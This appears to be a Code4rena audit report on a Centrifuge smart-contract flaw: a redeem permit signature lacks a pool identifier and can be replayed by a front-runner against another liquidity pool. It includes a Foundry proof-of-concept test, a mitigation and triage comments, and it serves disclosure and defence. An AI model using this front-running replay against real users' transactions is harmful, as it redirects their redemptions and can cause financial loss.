LiquidityPool::requestRedeemWithPermit transaction can be front run with the different liquidity pool

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-centrifuge/blob/512e7a71ebd9ae76384f837204216f26380c9f91/src/LiquidityPool.sol#L240

Vulnerability details

Impact

The permit signature is linked only to the tranche token. That's why it can be used with any liquidity pool with the same tranche token. Since anyone can call LiquidityPool::requestRedeemWithPermit the following scenario is possible:

1. Let's assume that some user has some amount of tranche tokens. Let's also assume that there are multiple liquidity pools with the same tranche token. For example, USDX pool and USDY pool.
2. The user wants to redeem USDX from the USDX pool using requestRedeemWithPermit. The user signs the permit and sends a transaction.
3. A malicious actor can see this transaction in the mempool and use the signature from it to request a redemption from the USDY pool with a greater fee amount.
4. Since this transaction has a greater fee amount it will likely be executed before the valid transaction.
5. The user's transaction will be reverted since the permit has already been used.
6. If the user will not cancel this malicious request until the end of the epoch this request will be executed, and the user will be forced to claim USDY instead of USDX.

This scenario assumes some user's negligence and usually doesn't lead to a significant loss. But in some cases (for example, USDY depeg) a user can end up losing significantly.

Proof of Concept

The test below illustrates the scenario described above:

function testPOCIssue1(
    uint64 poolId,
    string memory tokenName,
    string memory tokenSymbol,
    bytes16 trancheId,
    uint128 currencyId,
    uint256 amount
) public {
    vm.assume(currencyId > 0);
    vm.assume(amount < MAX_UINT128);
    vm.assume(amount > 1);

    // Use a wallet with a known private key so we can sign the permit message
    address investor = vm.addr(0xABCD);
    vm.prank(vm.addr(0xABCD));

    LiquidityPool lPool =
        LiquidityPool(deployLiquidityPool(poolId, erc20.decimals(), tokenName, tokenSymbol, trancheId, currencyId));
    erc20.mint(investor, amount);
    homePools.updateMember(poolId, trancheId, investor, type(uint64).max);

    // Sign permit for depositing investment currency
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(
        0xABCD,
        keccak256(
            abi.encodePacked(
                "\x19\x01",
                erc20.DOMAIN_SEPARATOR(),
                keccak256(
                    abi.encode(
                        erc20.PERMIT_TYPEHASH(), investor, address(investmentManager), amount, 0, block.timestamp
                    )
                )
            )
        )
    );

    lPool.requestDepositWithPermit(amount, investor, block.timestamp, v, r, s);
    // To avoid stack too deep errors
    delete v;
    delete r;
    delete s;

    // ensure funds are locked in escrow
    assertEq(erc20.balanceOf(address(escrow)), amount);
    assertEq(erc20.balanceOf(investor), 0);

    // collect 50% of the tranche tokens
    homePools.isExecutedCollectInvest(
        poolId,
        trancheId,
        bytes32(bytes20(investor)),
        poolManager.currencyAddressToId(address(erc20)),
        uint128(amount),
        uint128(amount)
    );

    uint256 maxMint = lPool.maxMint(investor);
    lPool.mint(maxMint, investor);

    {
        TrancheToken trancheToken = TrancheToken(address(lPool.share()));
        assertEq(trancheToken.balanceOf(address(investor)), maxMint);

        // Sign permit for redeeming tranche tokens
        (v, r, s) = vm.sign(
            0xABCD,
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    trancheToken.DOMAIN_SEPARATOR(),
                    keccak256(
                        abi.encode(
                            trancheToken.PERMIT_TYPEHASH(),
                            investor,
                            address(investmentManager),
                            maxMint,
                            0,
                            block.timestamp
                        )
                    )
                )
            )
        );
    }

    // Let's assume that there is another liquidity pool with the same poolId and trancheId
    // but a different currency
    LiquidityPool newLPool;
    {
        assert(currencyId != 123);
        address newErc20 = address(_newErc20("Y's Dollar", "USDY", 6));
        homePools.addCurrency(123, newErc20);
        homePools.allowPoolCurrency(poolId, 123);
        newLPool = LiquidityPool(poolManager.deployLiquidityPool(poolId, trancheId, newErc20));
    }
    assert(address(lPool) != address(newLPool));
    
    // Malicious actor can use the signature extracted from the mempool to 
    // request redemption from the different liquidity pool
    vm.prank(makeAddr("malicious"));
    newLPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s);

    // User's transaction will fail since the signature has already been used
    vm.expectRevert();
    lPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s);
}

Tools Used

Manual review

Recommended Mitigation Steps

One of the ways to mitigate this issue is to add some identifier of the liquidity pool to the permit message. This way permit will be linked to a specific liquidity pool.

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as primary issue

[c4-pre-sort]

raymondfam marked the issue as high quality report

[c4-sponsor]

hieronx (sponsor) confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 marked the issue as selected for report

[hieronx]

Mitigated in centrifuge/liquidity-pools#159